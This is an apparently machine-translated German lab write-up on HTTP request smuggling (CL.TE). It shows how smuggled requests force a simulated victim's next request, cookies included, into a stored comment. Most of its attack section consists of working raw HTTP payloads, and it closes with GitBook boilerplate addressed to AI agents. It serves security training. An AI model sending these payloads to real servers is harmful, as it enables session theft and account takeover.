> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/request-smuggling/capturing-other-users-requests.md).
# Anfragen anderer Benutzer abfangen
### HTTP-Request-Smuggling ausnutzen, um die Anfragen anderer Benutzer abzufangen
Das Lab richtet einen Front-End-Server und einen Back-End-Server ein. Das Front-End **unterstützt die Chunked-Kodierung nicht**. / Das Ziel ist es, zu **Schmuggler** eine Anfrage an das Back-End so einzuschleusen, dass **die nächste Benutzeranfrage** ist **von der Anwendung gespeichert**. / Dann, **diese Anfrage wiederherstellen** und verwende die **Cookies des Opfers** um auf sein Konto zuzugreifen.
Das Lab simuliert einen Opferbenutzer: Bei all den wenigen gesendeten POST-Anfragen führt das Opfer seine eigene Anfrage aus. / Manchmal ist es notwendig, den Angriff mehrere Male zu wiederholen.
> Obwohl das Lab HTTP/2 zulässt, muss die Lösung **HTTP/1** da einige Techniken nur in diesem Protokoll möglich sind. " " Das Front-End interpretiert **Content-Length**, während das Back-End behandelt **Transfer-Encoding: chunked**, wodurch ein ausnutzbarer Versatz entsteht. " " Die Burp-Erweiterung HTTP Request Smuggler kann helfen, Längen manuell zu korrigieren.
#### 1. **Vom Front-End interpretierte Anfrage**
Das Front-End liest `Content-Length: 13`, sieht dann auch `Transfer-Encoding: chunked`:
```http
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked
0
postId=6
```
Nach dem Ende des Chunks (`0`), wird eine zusätzliche Back-End-Anfrage hinzugefügt.
#### 2. **Einschleusen einer POST-Anfrage zum Veröffentlichen eines Kommentars**
Du erstellst eine eingeschleuste Anfrage, die eine zweite vollständige Anfrage enthält:
```http
POST / HTTP/1.1
Host: 0a36007e032121be824c43d100150069.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 285
Transfer-Encoding: chunked
0
postId=6
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus
Content-Length: 130
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=test&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```
Ergebnis\:/ Die eingeschleuste Anfrage wird so behandelt, als käme sie aus deiner eigenen Sitzung, und die Anwendung veröffentlicht den Kommentar.
#### 3. **Das Opfer dazu zwingen, einen Kommentar zu veröffentlichen**
Du änderst den Body zu:
{% code overflow="wrap" %}
```http
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```
{% endcode %}
```http
POST / HTTP/1.1
Host: 0a36007e032121be824c43d100150069.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 287
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus
Content-Length: 134
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=7&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```
und sende eine ähnliche Anfrage. / Beim Neuladen zeigt die App **Vielen Dank für Ihren Kommentar**, was darauf hinweist, dass das Opfer diesen Kommentar gepostet hat.
#### 4. **Bereite das Abfangen der Anfrage des Opfers vor**
Um die gesamte Anfrage des Opferbenutzers abzufangen, erhöhst du deutlich den `Content-Length` so dass das Back-End die folgende Anfrage als Inhalt verarbeitet:
```http
Content-Length: 1000
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=4&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com&comment=HACKED
```
Die als Nächstes vom Opfer gesendete Anfrage wird dann in den erwarteten Body aufgenommen... / und wird **im Speicher der Anwendung abrufbar**.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/de/web/request-smuggling/capturing-other-users-requests.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.